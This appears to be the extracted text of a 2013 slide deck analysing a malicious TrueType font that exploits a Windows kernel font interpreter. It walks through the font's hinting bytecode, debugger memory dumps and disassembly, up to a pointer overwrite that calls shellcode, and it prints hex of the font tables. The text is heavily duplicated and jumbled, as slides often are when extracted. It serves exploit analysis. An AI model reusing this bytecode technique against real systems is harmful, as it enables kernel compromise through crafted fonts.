FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) Duplicate→0x00000001 (First+Second)→0x00000001 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: Friday, March 8, 2013 0 0 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42)Push PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) Byte→0x00000000 Duplicate→0x00000001 (First+Second)→0x00000001 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42)Duplicate↔0x00000001 Push Byte↔0x00000000 (First+Second)→0x00000001 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: Friday, March 8, 2013 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) WS Value←0x00000001 WS Location←0x00000000 (First+Second)→0x00000001 00020: PUSHB[1] 0 00022: RS 00023: PUSHB[1] 1 00025: ADD 00005: FLIPOFF 00026: DUP 00006: PUSHB[1] 0 00027: PUSHB[1] 0 00008: RS 00029: SWAP 00009: RCVT 00030: WS 00010: FLIPON 00031: PUSHB[1] 80 0x50 0 1 2 3PUSHB[1] 4 5 6 7 08 9 10111213141516171819202122232 00011: 00033: SUB 00013: RS 00034: PUSHW[1] -33 1 00014: RCVT 00037: SWAP 00015: SUB 00038: JROT ;(38-33=5) 00016: PUSHB[1] 23 00018: SWAP 00019: JROT ; (19+23=42) WS Value←0x00000001 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 0 0 WS Location←0x00000000 (First+Second)→0x00000001 Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: Friday, March 8, 2013 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) WS Value←0x00000001 WS Push Byte→0x00000050 (First+Second)→0x00000001 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: Friday, March 8, 2013 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) WS Value←0x00000001 WS Push Byte→0x00000050 Loop Counter→0x00000001 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: Friday, March 8, 2013 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) WS Value←0x00000001 WS Second Operand←0x00000050 First Operand←0x00000001 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: Friday, March 8, 2013 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) WS Value←0x00000001 WS Second Operand←0x00000050 (0x01-0x50)(-79)→0xffffffb1 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: Friday, March 8, 2013 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) WS Value←0x00000001 Push 16-bit Word→0xffffffdf (0x01-0x50)(-79)→0xffffffb1 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: Friday, March 8, 2013 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) WS Value←0x00000001 (0x01-0x50)(-79)↔0xffffffb1 Push 16-bit Word↔0xffffffdf 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) WS Value←0x00000001 If This Is True←0xffffffb1 Then Jump Relative Offset←0xffffffdf Friday, March 8, 2013 00020: PUSHB[1] 0 00000: PUSHB[1] 0 ; __fastcall itrp_JROT(x, x) 00022: RS 00002: PUSHB[1] proc 0 near @itrp_JROT@8 PUSHB[1] 1 mov edx, 00023: dword_BF9A9228 00004: WS push esi 00025: ADD esi, 00026: dword_BF9A9234 00005: FLIPOFF mov DUP edi 00006: PUSHB[1] push 0 00027: PUSHB[1] 0 mov edi, [esi] 00008: RS SWAP mov eax, 00029: edx 00009: RCVT WS sub eax, 00030: edi 00010: FLIPON sar eax, 00031: 2 PUSHB[1] 80 0x50 eax, 00033: 2 00011: PUSHB[1] cmp 0 SUB pop edi 00013: RS pop esi 00034: PUSHW[1] -33 00014: RCVT SWAP jb short00037: loc_BF8D0428 00015: SUB mov eax, 00038: [edx-4] JROT ;(38-33=5) edx, 4 00016: PUSHB[1] sub 23 sub edx, 4 00018: SWAP test eax, eax 00019: JROT ; (19+23=42) WS Value←0x00000001 mov dword_BF9A9228, edx ;etc... If This Is True←0xffffffb1 Then Jump Relative Offset←0xffffffdf Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) WS Value←0x00000001 If This Is True←0xffffffb1 Then Jump Relative Offset←0xffffffdf Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP Remember, CVT is now 0x80 longer JROT ; (19+23=42) WS Value←0x00000001 (not 80.0, I’m not sure if this is a bug) If This Is True←0xffffffb1 So, only scan 80*4=320 bytes Then Jump Relative Offset←0xffffffdf Friday, March 8, 2013 00000: PUSHB[1] 00002: PUSHB[1] 00004: WS 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: 0 0 FLIPOFF PUSHB[1] 0 RS RCVT FLIPON PUSHB[1] 0 RS RCVT SUB PUSHB[1] 23 SWAP JROT ; (19+23=42) 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) 00039: PUSHB[1] 128 00041: JMPR ;(41+128=169) WS Value←0x00000001 If This Is True←0xffffffb1 Then Jump Relative Offset←0xffffffdf Friday, March 8, 2013 00162: 00000: 00164: 00002: 00165: 00004: 00167: 00168: 00169 PUSHB[1] PUSHB[1] RS PUSHB[1] PUSHB[1] WS RS WCVTP 0 0 00020: 00022: 00023: 00025: 00026: 00027: 00029: 00030: 00031: 00033: 00034: 00037: 00038: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 0x50 SUB PUSHW[1] -33 SWAP JROT ;(38-33=5) 00039: PUSHB[1] 128 00041: JMPR ;(41+128=169) WS Value←0x00000001 If This Is True←0xffffffb1 Then Jump Relative Offset←0xffffffdf Friday, March 8, 2013 GLYF Program ... 00000060 00000070 00000080 ... 0003bad0 0003bae0 0003baf0 0003bb00 0003bb10 0003bb20 0003bb30 0003bb40 0003bb50 0003bb60 0003bb70 0003bb80 0003bb90 0003bba0 0003bbb0 0003bbc0 ... Friday, March 8, 2013 00 00 00 00 00 03 ba d0 7f 06 e9 00 00 00 01 0c 18 d3 69 4b 00 03 ba e4 00 00 00 02 66 70 67 6d 00 03 b8 9b 67 6c 79 66 00 00 00 bc 68 65 61 64 |............fpgm| |............glyf| |..iK........head| 00 00 00 45 42 b0 42 78 03 00 42 b5 44 00 00 00 00 00 b0 43 78 b0 43 b0 b0 31 03 45 03 00 00 00 |................| |.^..............| |......BN..CEM..C| |Ea..#x..C..` ..#| |B.Pa...#x.....C | |..a ..aE..#BE..#| |BE..#B..C..P\..#| |x..C..Ca..#x..C.| |.Ca\.+#x..C..` .| |.#B.Pa\.1#x....C| |B....CB....CEB..| |....C..`E.P`..C#| |D.....C..CD17...| |.....f.........f| |.............f..| |.........r......| 169 bytes long 00 5e a9 61 b0 01 45 b0 43 23 b0 1c b0 00 00 01 00 00 b0 b0 50 61 b0 01 61 42 02 b0 01 00 00 04 00 00 00 17 61 20 03 43 5c b0 b0 00 1f 08 03 09 00 00 b0 23 b8 b0 23 b0 b0 50 03 43 b0 00 00 00 00 01 00 78 ff 01 42 02 2b 61 43 b0 00 66 01 02 00 00 42 b0 df 61 b0 43 23 5c 42 03 43 00 04 00 00 00 4e 00 23 45 01 61 78 b0 b0 60 b0 03 09 0e 00 00 00 b0 b0 01 b0 0d 00 23 b0 b0 43 01 01 72 00 00 43 01 80 23 00 23 43 78 00 50 44 04 00 00 00 01 45 60 1c 42 50 78 b0 b0 43 60 31 09 0c 03 00 00 4d 20 b0 45 5c b0 01 01 45 b0 37 00 00 00 00 01 b0 b0 00 b0 b0 01 60 b0 42 00 01 00 66 01 00 00 00 00 43 02 18 43 20 02 b8 43 01 00 00 04 00 01 43 23 20 23 23 b0 b0 43 ff 23 00 66 03 09 CVT e2481f80 00000000 CVT+4 = Global State kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 [CVT+4] = Stack Base e2481f94 00040000 00000000 00000000 00000000 e2481fa4 00000000 00000044 00000000 00000000 e2481fb4 00000000 00000000 00000040 bf85c269 e2481fc4 00000003 00000000 00000000 00000000 +0x90: auto_flip e2481fd4 00030009 00000080 00000001 00000044 e2481fe4 00000000 00000000 00000000 00000000 e2481ff4 00000040 bf85c269 00000003 00000000 e2482004 00000000 00000000 00030009 00010080 e2482014 00000001 e2481f80 e2481f80 00000000 e2482024 00000000 bf85bd4b bf85bd4b e2482368 e2482034 e24bdbb3 0000000d e2482318 0003b89b e2482044 00000000 00000000 00000000 00000000 e2482054 00000000 00000000 00000000 00000000 CVT+[4*0x25]= [CVT+0x94] = [Global State +0x90] e2482064 00002000 00000400 00000080 0000000a e2482074 00002000 00000400 00000080 0000000a e2482084 00002000State 00000400 00000080 0000000a CVT=Global -4 e2482094 00010000 00010000 00000001 00000000 e24820a4 00000000 00000200 00000000 00000001 e24820b4 e2481290 00000081 00040000 00040000 e24820c4 00040000 00040000 00000000 00000001 e24820d4 00002710 00000064 00989680 e1c5d4b0 Friday, March 8, 2013 CVT+[4*0x25]= [CVT+0x94] = [Global State +0x90]= auto_flip 00005: 00006: 00008: 00009: 00010: 00011: 00013: 00014: 00015: 00016: 00018: 00019: ... 00042: 00044: 00045: 00046: Friday, March 8, 2013 FLIPOFF PUSHB[1] RS RCVT FLIPON PUSHB[1] RS RCVT SUB PUSHB[1] SWAP JROT PUSHB[1] RS DUP PUSHB[1] 0 0 23 ; (19+23=42) 0 1 This is true when RCVT loop reaches 0x25 00042: 00044: 00045: 00046: 00048: 00049: 00050: 00052: 00053: 00054: 00056: 00057: 00058: 00059: 00061: 00062: 00063: 00064: 00066: 00067: Friday, March 8, 2013 PUSHB[1] RS DUP PUSHB[1] SUB DUP PUSHB[1] SUB RCVT PUSHB[1] SWAP WS RCVT PUSHB[1] SWAP WS RCVT PUSHB[1] SWAP WS 0 1 1 1 2 3 00068: 00070: 00071: 00073: 00074: 00075: 00077: 00078: PUSHB[1] 1 RS ; e2481f80 PUSHB[1] 0 LT ; 1 NOT PUSHB[1] 24 SWAP JROT ;(78+24=102) 00079: 00081: 00082: 00084: 00085: 00086: 00088: 00089: PUSHB[1] 1 RS PUSHB[1] 2 RS SUB PUSHB[1] 13 SWAP JROT 00090: 00092: 00093: 00095: 00096: 00097: 00098: 00100: PUSHB[1] 1 RS PUSHB[1] 3 RS SUB NOT PUSHB[1] 43 SWAP 00042: 00044: 00045: 00046: 00048: 00049: 00050: 00052: 00053: 00054: 00056: 00057: 00058: 00059: 00061: 00062: 00063: 00064: 00066: 00067: Friday, March 8, 2013 PUSHB[1] RS DUP PUSHB[1] SUB DUP PUSHB[1] SUB RCVT PUSHB[1] SWAP WS RCVT PUSHB[1] SWAP WS RCVT PUSHB[1] SWAP WS 0 1 1 1 2 3 00068: 00070: 00071: 00073: 00074: 00075: 00077: 00078: PUSHB[1] 1 RS ; e2481f80 PUSHB[1] 0 LT ; 1 NOT PUSHB[1] 24 SWAP JROT ;(78+24=102) 00079: 00081: 00082: 00084: 00085: 00086: 00088: 00089: PUSHB[1] 1 RS PUSHB[1] 2 RS SUB PUSHB[1] 13 SWAP JROT 00090: 00092: 00093: 00095: 00096: 00097: 00098: 00100: PUSHB[1] 1 RS PUSHB[1] 3 RS SUB NOT PUSHB[1] 43 SWAP Stores DWORD from +0x26 00042: 00044: 00045: 00046: 00048: 00049: 00050: 00052: 00053: 00054: 00056: 00057: 00058: 00059: 00061: 00062: 00063: 00064: 00066: 00067: Friday, March 8, 2013 PUSHB[1] RS DUP PUSHB[1] SUB DUP PUSHB[1] SUB RCVT PUSHB[1] SWAP WS RCVT PUSHB[1] SWAP WS RCVT PUSHB[1] SWAP WS 0 00068: 00070: 00071: 00073: 00074: 00075: 00077: 00078: PUSHB[1] 1 RS ; e2481f80 PUSHB[1] 0 LT ; 1 NOT PUSHB[1] 24 SWAP JROT ;(78+24=102) 2 00079: 00081: 00082: 00084: 00085: 00086: 00088: 00089: Storage element 2 00090: PUSHB[1] 1 RS PUSHB[1] 2 RS SUB PUSHB[1] 13 SWAP JROT 3 00092: 00093: 00095: 00096: 00097: 00098: 00100: PUSHB[1] 1 RS PUSHB[1] 3 RS SUB NOT PUSHB[1] 43 SWAP 1 1 1 00042: 00044: 00045: 00046: 00048: 00049: 00050: 00052: 00053: 00054: 00056: 00057: 00058: 00059: 00061: 00062: 00063: 00064: 00066: 00067: Friday, March 8, 2013 PUSHB[1] RS DUP PUSHB[1] SUB DUP PUSHB[1] SUB RCVT PUSHB[1] SWAP WS RCVT PUSHB[1] SWAP WS RCVT PUSHB[1] SWAP WS 0 1 1 1 2 3 00068: 00070: 00071: 00073: 00074: 00075: 00077: 00078: PUSHB[1] 1 RS ; e2481f80 PUSHB[1] 0 LT ; 1 NOT PUSHB[1] 24 SWAP JROT ;(78+24=102) 00079: 00081: 00082: 00084: 00085: 00086: 00088: 00089: PUSHB[1] 1 RS PUSHB[1] 2 RS SUB PUSHB[1] 13 SWAP JROT 00090: 00092: 00093: 00095: 00096: 00097: 00098: 00100: PUSHB[1] 1 RS PUSHB[1] 3 RS SUB NOT PUSHB[1] 43 SWAP Storage element 3 00042: 00044: 00045: 00046: 00048: 00049: 00050: 00052: 00053: 00054: 00056: 00057: 00058: 00059: 00061: 00062: 00063: 00064: 00066: 00067: Friday, March 8, 2013 PUSHB[1] 0 RS DUP PUSHB[1] 1 SUB DUP e2481f80 00000000 kd> dd e2481f84 PUSHB[1] 1 L100 e2481f84 e2481afc e2481f00 SUB e2481f94 00040000 00000000 RCVT e2481fa4 00000000 00000044 e2481fb4 00000000 00000000 PUSHB[1] 1 e2481fc4 00000003 00000000 SWAP e2481fd4 00030009 00000080 WS e2481fe4 00000000 00000000 RCVT e2481ff4 00000040 bf85c269 e2482004 00000000 00000000 PUSHB[1] 2 e2482014 00000001 e2481f80 SWAP e2482024 00000000 bf85bd4b WS e2482034 e24bdbb3 0000000d e2482044 00000000 00000000 RCVT +0x25 00000000 e2482054 00000000 +0x26 PUSHB[1] 3 e2482064 00002000 00000400 SWAP e2482074 00002000 00000400 e2482084 00002000 00000400 WS e2482094 00068: 00070: 00071: 00073: 00074: 00075: 00077: 00078: PUSHB[1] 1 RS ; e2481f80 PUSHB[1] 0 LT ; 1 NOT PUSHB[1] 24 SWAP JROT ;(78+24=102) e2481f80 00030004 00079: PUSHB[1] 00000000 00000000 00081: RS 00000000 00000000 00082: PUSHB[1] 00000040 bf85c269 00084: RS 00000000 00000000 00085: SUB 00000001 00000044 00086: PUSHB[1] 00000000 00000000 00088: SWAP 00000003 00000000 00089: JROT 00030009 00010080 e2481f80 00000000 00090: PUSHB[1] bf85bd4b e2482368 00092: RS e2482318 0003b89b 00093: PUSHB[1] 00000000 00000000 00095: RS 00000000 00000000 00096: SUB 00000080 0000000a 00097: NOT 00000080 0000000a 00098: PUSHB[1] 00000080 0000000a 00100: SWAP 00010000 00010000 00000001 00000000 1 2 13 1 3 43 00101: JROT 00102: 00104: 00105: 00107: 00108: 00109: 00111: 00112: 00113: 00115: 00116: 00117: 00119: 00120: Friday, March 8, 2013 PUSHB[1] RS PUSHB[1] ADD DUP PUSHB[1] SWAP WS PUSHB[1] SUB NOT PUSHB[1] SWAP JROT 0 1 0 80 49 00068: 00070: 00071: 00073: 00074: 00075: 00077: 00078: PUSHB[1] 1 RS ; e2481f80 PUSHB[1] 0 LT ; 1 NOT PUSHB[1] 24 SWAP JROT ;(78+24=102) 00079: 00081: 00082: 00084: 00085: 00086: 00088: 00089: PUSHB[1] 1 RS PUSHB[1] 2 RS SUB PUSHB[1] 13 SWAP JROT 00090: 00092: 00093: 00095: 00096: 00097: 00098: 00100: PUSHB[1] 1 RS PUSHB[1] 3 RS SUB NOT PUSHB[1] 43 SWAP 00101: JROT 00102: 00104: 00105: 00107: 00108: 00109: 00111: 00112: 00113: 00115: 00116: 00117: 00119: 00120: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 SUB NOT PUSHB[1] 49 SWAP JROT ; 169 (exit) Another Sanity Check Friday, March 8, 2013 00068: 00070: 00071: 00073: 00074: 00075: 00077: 00078: PUSHB[1] 1 RS ; e2481f80 PUSHB[1] 0 LT ; 1 NOT PUSHB[1] 24 SWAP JROT ;(78+24=102) 00079: 00081: 00082: 00084: 00085: 00086: 00088: 00089: PUSHB[1] 1 RS PUSHB[1] 2 RS SUB PUSHB[1] 13 SWAP JROT 00090: 00092: 00093: 00095: 00096: 00097: 00098: 00100: PUSHB[1] 1 RS PUSHB[1] 3 RS SUB NOT PUSHB[1] 43 SWAP 00101: JROT 00102: 00104: 00105: 00107: 00108: 00109: 00111: 00112: 00113: 00115: 00116: 00117: 00119: 00120: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 SUB NOT PUSHB[1] 49 SWAP JROT ; 169 (exit) Ditto Friday, March 8, 2013 00068: 00070: 00071: 00073: 00074: 00075: 00077: 00078: PUSHB[1] 1 RS ; e2481f80 PUSHB[1] 0 LT ; 1 NOT PUSHB[1] 24 SWAP JROT ;(78+24=102) 00079: 00081: 00082: 00084: 00085: 00086: 00088: 00089: PUSHB[1] 1 RS PUSHB[1] 2 RS SUB PUSHB[1] 13 SWAP JROT ;(89+13=102) 00090: 00092: 00093: 00095: 00096: 00097: 00098: 00100: PUSHB[1] 1 RS PUSHB[1] 3 RS SUB NOT PUSHB[1] 43 SWAP 00101: JROT 00102: 00104: 00105: 00107: 00108: 00109: 00111: 00112: 00113: 00115: 00116: 00117: 00119: 00120: PUSHB[1] 0 RS PUSHB[1] 1 ADD DUP PUSHB[1] 0 SWAP WS PUSHB[1] 80 SUB NOT PUSHB[1] 49 SWAP JROT ; 169 (exit) Possibly a test for 64-bit Friday, March 8, 2013 00068: 00070: 00071: 00073: 00074: 00075: 00077: 00078: PUSHB[1] 1 RS ; e2481f80 PUSHB[1] 0 LT ; 1 NOT PUSHB[1] 24 SWAP JROT ;(78+24=102) 00079: 00081: 00082: 00084: 00085: 00086: 00088: 00089: PUSHB[1] 1 RS PUSHB[1] 2 RS SUB PUSHB[1] 13 SWAP JROT ;(89+13=102) 00090: 00092: 00093: 00095: 00096: 00097: 00098: 00100: PUSHB[1] 1 RS PUSHB[1] 3 RS SUB NOT PUSHB[1] 43 SWAP 00144: 00146: 00147: 00149: 00150: PUSHB[1] 0 RS PUSHB[1] 3 ADD RCVT ; ; ; ; ; ; 00151: PUSHB[1] 80 ; 00153: ADD ; 00154: PUSHB[1] 0 ; 00156: RS ; 00157: SWAP ; 00158: WCVTP ; ; ; 00159: PUSHB[1] 1 00161: SSW ; iteration 0x2c iteration + offset of 3 0x2f e2482318 -> DataPGM [GlobalGS+0x2e*4] 0x50 shelcode offset Total e2482368 Stack: 0x00, e2482368 Stack: 0x2c, e2482368 Stack: e2482368, 0x2c ControlValueTable+0x2c*4 = 00090: PUSHB[1] 1 GlobalGS+0x2b*4 = 00092: RS GlobalGS+0xAC 00093: PUSHB[1] 3 Call 00095: 00096: Shellcode 00097: 00098: 00100: RS SUB NOT PUSHB[1] 43 SWAP 00101: JROT ;101+43 Friday, March 8, 2013 00144: 00146: 00147: 00149: 00150: ; ; ; ; ; ; 00151: PUSHB[1] 80 ; 00153: ADD ; 00154: PUSHB[1] 0 ; 00156: RS ; 00157: SWAP ; 00158: WCVTP ; ; ; 00159: PUSHB[1] 1 00161: SSW ; Friday, March 8, 2013 PUSHB[1] 0 RS PUSHB[1] 3 ADD RCVT iteration 0x2c iteration + offset of 3 0x2f e2482318 -> DataPGM [GlobalGS+0x2e*4] 0x50 shelcode offset Total e2482368 Stack: 0x00, e2482368 Stack: 0x2c, e2482368 Stack: e2482368, 0x2c ControlValueTable+0x2c*4 = GlobalGS+0x2b*4 = GlobalGS+0xAC Call Shellcode 00144: 00146: 00147: 00149: 00150: PUSHB[1] 0 RS PUSHB[1] 3 ADD RCVT ; iteration ; 0x2c ; iteration + offset of 3 ; 0x2f ; e2482318 -> DataPGM ; [GlobalGS+0x2e*4] 00151:e2481f80 PUSHB[1] 80 ; 0x50 shelcode offset 00000000 dd e2481f84 L100 00153:kd>ADD ; Total e2482368 e2481afc e2481f00 e2481f80 00030004 00154:e2481f84 PUSHB[1] 0 ; Stack: 0x00, e2482368 e2481f94 00040000 00000000 00000000 00000000 00156:e2481fa4 RS Stack:00000000 0x2c, 00000000 e2482368 00000000 ;00000044 bf85c269 00157:e2481fb4 SWAP 00000000 ;00000000 Stack:00000040 e2482368, 0x2c 00000000 00000000 +0x25;00000000 00158:e2481fc4 WCVTP 00000003 ControlValueTable+0x2c*4 = e2481fd4 00030009 00000080 00000001 00000044 GlobalGS+0x2b*4 = e2481fe4 auto_flip 00000000 ;00000000 00000000 00000000 GlobalGS+0xAC e2481ff4 00000040 ;bf85c269 00000003 00000000 00000000 00000000 00030009 00010080 00159:e2482004 PUSHB[1] 1 e2482014 00000001 e2481f80 e2481f80 00000000 00161:e2482024 SSW Call Shellcode 00000000 ;bf85bd4b bf85bd4b e2482368 e2482034 e2482044 e2482054 e2482064 Friday, March 8, 2013e2482074 +0x29 e24bdbb3 00000000 00000000 00002000 00002000 +0x2A 0000000d 00000000 00000000 00000400 00000400 e2482318 00000000 00000000 00000080 00000080 +0x2F 0003b89b 00000000 00000000 0000000a 0000000a +0x2C 00144: 00146: 00147: 00149: 00150: ; ; ; ; ; ; 00151: PUSHB[1] 80 ; 00153: ADD ; 00154: PUSHB[1] 0 ; 00156: RS ; 00157: SWAP ; 00158: WCVTP ; ; ; 00159: PUSHB[1] 1 00161: SSW ; Friday, March 8, 2013 PUSHB[1] 0 RS PUSHB[1] 3 ADD RCVT iteration 0x2c iteration + offset of 3 0x2f e2482318 -> DataPGM [GlobalGS+0x2e*4] 0x50 shelcode offset Total e2482368 Stack: 0x00, e2482368 Stack: 0x2c, e2482368 Stack: e2482368, 0x2c ControlValueTable+0x2c*4 = GlobalGS+0x2b*4 = GlobalGS+0xAC Call Shellcode On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... Friday, March 8, 2013 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 